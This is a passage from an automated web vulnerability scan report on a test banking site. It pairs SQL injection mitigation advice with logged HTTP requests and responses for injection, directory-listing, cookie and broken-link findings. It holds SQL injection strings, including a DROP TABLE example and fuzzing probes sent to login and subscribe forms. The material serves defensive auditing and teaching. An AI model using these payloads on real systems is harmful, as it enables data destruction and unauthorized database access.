crucial. Since - in our example - an email address can contain only these characters:
abcdefghijklmnopqrstuvwxyz
Acunetix Website Audit
26
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_+
There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an
error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the
database.
Be aware that "sanitizing the input" doesn't mean merely "remove the quotes", because even "regular" characters can be
troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN):
SELECT fieldlist
FROM table
WHERE id = 23 OR 1=1; -- Boom! Always matches!
In practice, however, this approach is highly limited because there are so few fields for which it's possible to outright
exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any
kind of real application, one simply cannot avoid the other mitigations.
Escape/Quotesafe the input
Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a "name"
field lest one wishes to exclude the likes of Bill O'Reilly from one's application: a quote is simply a valid character for this
field.
One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but
wrong! - technique of preprocessing every string to replicate the single quotes:
SELECT fieldlist
FROM customers
WHERE name = 'Bill O''Reilly'; -- works OK
However, this naive approach can be beaten because most databases support other string escape mechanisms.
MySQL, for instance, also permits \' to escape a quote, so after input of \'; DROP TABLE users; -- is "protected" by
doubling the quotes, we get:
SELECT fieldlist
FROM customers
WHERE name = '\''; DROP TABLE users; --'; -- Boom!
The expression '\'' is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It
doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to
trip up the application designer.
Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does
it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the
process will be done properly and safely.
Some examples are the MySQL function mysql_real_escape_string() and perl DBD method $dbh->quote($value). These
methods must be used.
Use bound parameters (the PREPARE statement)
Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL", and a much better
approach exists: bound parameters, which are supported by essentially all database programming interfaces. In this
technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it's compiled
("prepared", in SQL parlance) into an internal form. Later, this prepared query is "executed" with a list of parameters:
Example in perl
$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");
$sth->execute($email);
Acunetix Website Audit
27
Secure version
PreparedStatement ps = connection.prepareStatement(
"SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();
Here, $email is the data obtained from the user's form, and it is passed as positional parameter #1 (the first question
mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes,
semicolons, backslashes, SQL comment notation - none of this has any impact, because it's "just data". There simply is
nothing to subvert, so the application is be largely immune to SQL injection attacks.
There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed
once), but this is minor compared to the enormous security benefits. This is probably the single most important step one
can take to secure a web application.
Limit database permissions and segregate users
In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: "log in" and
"send me password". The web application ought to use a database connection with the most limited rights possible:
query-only access to the members table, and no access to any other table.
The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Here, we'd
not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other
avenues.
Once the web application determined that a set of valid credentials had been passed via the login form, it would then
switch that session to a database connection with more rights.
It should go almost without saying that sa rights should never be used for any web-based application.
Use stored procedures for database access
When the database server supports them, use stored procedures for performing access on the application's behalf,
which can eliminate SQL entirely (assuming the stored procedures themselves are written properly).
By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and
documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might
reject that order if the customer were over his credit limit).
For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in
more than one place), having a single definition for the operation means it's going to be more robust and easier to
maintain.
Note: it's always possible to write a stored procedure that itself constructs a query dynamically: this provides no
protection against SQL Injection - it's only proper binding with prepare/execute or direct SQL statements with bound
variables that provide this protection.
Isolate the webserver
Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open
to compromise. One ought to design the network infrastructure to assume that the bad guy will have full administrator
access to the machine, and then attempt to limit how that can be leveraged to compromise other things.
For instance, putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting
complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything,
of course, but it makes it a lot harder.
Acunetix Website Audit
28
29
btnSubmit=Login&passw=g00dPa%24%24w0rD&uid=1'%22
Response headers
HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:59:08 GMT
Connection: close
Content-Length: 6403
/subscribe.aspx
Details
URL encoded POST input txtEmail was set to 1'"
Error message found: Syntax error in string in query expression
Request headers
POST /subscribe.aspx HTTP/1.1
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
Referer: http://demo.testfire.net:80/
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
btnSubmit=Subscribe&txtEmail=1'%22
Response headers
HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:59:38 GMT
Connection: close
Content-Length: 5603
30
31
/bank/login.aspx
Details
URL encoded POST input uid was set to 12345'"\'\");|]*{%0d%0a<%00>%bf%27'
Error message found: System.Data.OleDb.OleDbException: Syntax error (missing operator) in query expression
'username = '12345'"\'\")'.
Request headers
POST /bank/login.aspx HTTP/1.1
Content-Length: 78
Content-Type: application/x-www-form-urlencoded
Referer: http://demo.testfire.net:80/
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
btnSubmit=Login&passw=g00dPa%24%24w0rD&uid=12345'"\'\");|]*{%0d%0a<%00>%bf%27'
Response headers
HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:58:48 GMT
Connection: close
Content-Length: 6368
/subscribe.aspx
Details
URL encoded POST input txtEmail was set to 12345'"\'\");|]*{%0d%0a<%00>%bf%27'
Error message found: System.Data.OleDb.OleDbException: Syntax error (missing operator) in query expression
''12345'"\'\"'.
Request headers
POST /subscribe.aspx HTTP/1.1
Content-Length: 64
Content-Type: application/x-www-form-urlencoded
Referer: http://demo.testfire.net:80/
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
btnSubmit=Subscribe&txtEmail=12345'"\'\");|]*{%0d%0a<%00>%bf%27'
Response headers
HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html
Expires: -1
Server: Microsoft-IIS/8.0
Acunetix Website Audit
32
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:59:06 GMT
Connection: close
Content-Length: 5643
33
34
Directory listing
Severity
Medium
Type
Information
Reported by module Scripting (Directory_Listing.script)
Description
The web server is configured to display the list of files contained in this directory. This is not recommended because the
directory may contain files that are not normally exposed through links on the web site.
Impact
A user can view a list of all files from this directory possibly exposing sensitive information.
Recommendation
You should make sure the directory does not contain sensitive information or you may want to restrict directory listings
from the web server configuration.
References
Directory Listing and Information Disclosure
Detailed information
How to disable directory listings
- The easiest way to disable directory listing is to create an index file. The name of the index file depends on the web
server configuration. On Apache is called index.htm, index.html. On IIS is named default.asp, default.aspx, default.htm.
- On IIS directory listings are disabled by default.
- For Apache you need to edit the Apache configuration file (usually named httpd.conf) or create an .htaccess file. In the
configuration file you will have the definition of the directory. Something like
<Directory /directoryname/subdirectory>
Options Indexes FollowSymLinks
...
</Directory>
To disable directory listing for that directory you need to remove the 'Indexes' option.
Affected items
/bank
Details
Pattern found: <A HREF="/">[To Parent Directory]</A>
Request headers
GET /bank/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/bank/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/8.0
Acunetix Website Audit
35
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:39 GMT
Content-Length: 2297
/pr
Details
Pattern found: <A HREF="/">[To Parent Directory]</A>
Request headers
GET /pr/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/pr/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:41 GMT
Content-Length: 517
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 9605
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:33 GMT
/
Details
Cookie name: "amCreditOffer"
Cookie domain: "demo.testfire.net"
Request headers
GET / HTTP/1.1
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 9605
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:33 GMT
/
Details
Cookie name: "lang"
Cookie domain: "demo.testfire.net"
Request headers
GET / HTTP/1.1
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 9605
Content-Type: text/html; charset=utf-8
Acunetix Website Audit
52
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:33 GMT
/
Details
Cookie name: "ASP.NET_SessionId"
Cookie domain: "demo.testfire.net"
Request headers
GET / HTTP/1.1
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 9605
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:33 GMT
53
Broken links
Severity
Informational
Type
Informational
Reported by module Crawler
Description
A broken link refers to any link that should take you to a document, image or webpage, that actually results in an error.
This page was linked from the website but it is inaccessible.
Impact
Problems navigating the site.
Recommendation
Remove the links to this file or make it accessible.
Affected items
/bank/account.aspx.cs
Details
For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") >
select Referrers Tab from the bottom of the Information pane.
Request headers
GET /bank/account.aspx.cs HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/bank/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:44 GMT
Connection: close
Content-Length: 1245
/bank/apply.aspx.cs
Details
For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") >
select Referrers Tab from the bottom of the Information pane.
Request headers
GET /bank/apply.aspx.cs HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/bank/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix Website Audit
54
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:43 GMT
Connection: close
Content-Length: 1245
/bank/bank.master
Details
For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") >
select Referrers Tab from the bottom of the Information pane.
Request headers
GET /bank/bank.master HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/bank/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:43 GMT
Connection: close
Content-Length: 1245
/bank/bank.master.cs
Details
For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") >
select Referrers Tab from the bottom of the Information pane.
Request headers
GET /bank/bank.master.cs HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/bank/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Acunetix Website Audit
55
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:43 GMT
Connection: close
Content-Length: 1245
/bank/customize.aspx.cs
Details
For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") >
select Referrers Tab from the bottom of the Information pane.
Request headers
GET /bank/customize.aspx.cs HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/bank/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:44 GMT
Connection: close
Content-Length: 1245
/bank/login.aspx.cs
Details
For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") >
select Referrers Tab from the bottom of the Information pane.
Request headers
GET /bank/login.aspx.cs HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/bank/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Acunetix Website Audit
56
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:43 GMT
Connection: close
Content-Length: 1245
/bank/logout.aspx.cs
Details
For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") >
select Referrers Tab from the bottom of the Information pane.
Request headers
GET /bank/logout.aspx.cs HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/bank/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:43 GMT
Connection: close
Content-Length: 1245
/bank/main.aspx.cs
Details
For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") >
select Referrers Tab from the bottom of the Information pane.
Request headers
GET /bank/main.aspx.cs HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/bank/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix Website Audit
57
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:43 GMT
Connection: close
Content-Length: 1245
/bank/queryxpath.aspx.cs
Details
For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") >
select Referrers Tab from the bottom of the Information pane.
Request headers
GET /bank/queryxpath.aspx.cs HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/bank/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:44 GMT
Connection: close
Content-Length: 1245
/bank/transaction.aspx.cs
Details
For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") >
select Referrers Tab from the bottom of the Information pane.
Request headers
GET /bank/transaction.aspx.cs HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/bank/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
Acunetix Website Audit
58
59
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:38 GMT
Content-Length: 1245
60
61
Cache-Control: no-cache
Referer: http://demo.testfire.net/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 49
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 07:17:42 GMT
/callback.aspx
Details
Pattern found: skipfish@example.com
Request headers
GET /callback.aspx HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 49
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 07:17:42 GMT
/files.aspx
Details
Pattern found: skipfish@example.com
Request headers
GET /files.aspx HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/
Acunetix-Aspect: enabled
Acunetix Website Audit
62
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
